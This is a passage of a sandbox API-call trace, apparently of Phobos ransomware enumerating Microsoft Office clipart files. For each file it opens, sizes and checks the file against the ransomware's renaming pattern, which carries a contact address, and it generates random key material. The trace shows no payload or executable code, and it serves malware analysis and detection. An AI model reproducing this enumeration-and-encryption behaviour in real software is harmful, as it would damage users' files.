dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.822] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.822] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1237) returned 1 [0154.822] CloseHandle (hObject=0x254) returned 1 [0154.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif")) returned 0x220 [0154.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.824] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=799) returned 1 [0154.824] CloseHandle (hObject=0x254) returned 1 [0154.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif")) returned 0x220 [0154.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.824] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.825] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1452) returned 1 [0154.825] CloseHandle (hObject=0x254) returned 1 [0154.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif")) returned 0x220 [0154.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01745_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.825] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.827] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=738) returned 1 [0154.827] CloseHandle (hObject=0x254) returned 1 [0154.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif")) returned 0x220 [0154.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01746_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.831] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.832] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=903) returned 1 [0154.832] CloseHandle (hObject=0x254) returned 1 [0154.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif")) returned 0x220 [0154.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.832] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.833] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=727) returned 1 [0154.833] CloseHandle (hObject=0x254) returned 1 [0154.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif")) returned 0x220 [0154.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.834] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.834] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=948) returned 1 [0154.834] CloseHandle (hObject=0x254) returned 1 [0154.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif")) returned 0x220 [0154.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.835] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.836] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1172) returned 1 [0154.836] CloseHandle (hObject=0x254) returned 1 [0154.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif")) returned 0x220 [0154.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.837] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.838] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=953) returned 1 [0154.838] CloseHandle (hObject=0x254) returned 1 [0154.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif")) returned 0x220 [0154.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.838] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.839] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=772) returned 1 [0154.839] CloseHandle (hObject=0x254) returned 1 [0154.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif")) returned 0x220 [0154.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.839] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.840] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3652) returned 1 [0154.840] CloseHandle (hObject=0x254) returned 1 [0154.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif")) returned 0x220 [0154.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.840] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.841] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1094) returned 1 [0154.841] CloseHandle (hObject=0x254) returned 1 [0154.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif")) returned 0x220 [0154.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.841] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.995] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1534) returned 1 [0154.995] CloseHandle (hObject=0x588) returned 1 [0154.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif")) returned 0x220 [0154.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.996] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1900) returned 1 [0154.996] CloseHandle (hObject=0x588) returned 1 [0154.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif")) returned 0x220 [0154.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.998] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4817) returned 1 [0154.998] CloseHandle (hObject=0x588) returned 1 [0154.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif")) returned 0x220 [0154.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.998] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.000] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2582) returned 1 [0155.000] CloseHandle (hObject=0x588) returned 1 [0155.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl1.wmf")) returned 0x220 [0155.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL1.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl1.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.017] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0155.021] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2422) returned 1 [0155.021] CloseHandle (hObject=0x588) returned 1 [0155.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 